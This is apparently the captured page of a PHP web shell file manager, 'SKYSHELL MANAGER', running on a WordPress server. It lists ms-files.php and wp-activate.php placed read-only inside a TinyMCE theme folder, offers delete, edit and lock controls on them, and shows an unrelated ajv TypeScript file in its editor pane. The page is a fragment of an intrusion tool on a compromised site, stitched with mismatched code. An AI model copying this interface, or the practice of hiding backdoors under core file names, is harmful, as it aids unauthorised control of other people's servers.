📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: _range.ts
import type {MacroKeywordDefinition} from "ajv" import type {GetDefinition} from "./_types" type RangeKwd = "range" | "exclusiveRange" export default function getRangeDef(keyword: RangeKwd): GetDefinition<MacroKeywordDefinition> { return () => ({ keyword, type: "number", schemaType: "array", macro: function ([min, max]: [number, number]) { validateRangeSchema(min, max) return keyword === "range" ? {minimum: min, maximum: max} : {exclusiveMinimum: min, exclusiveMaximum: max} }, metaSchema: { type: "array", minItems: 2, maxItems: 2, items: {type: "number"}, }, }) function validateRangeSchema(min: number, max: number): void { if (min > max || (keyword === "exclusiveRange" && min === max)) { throw new Error("There are no numbers in range") } } }
Save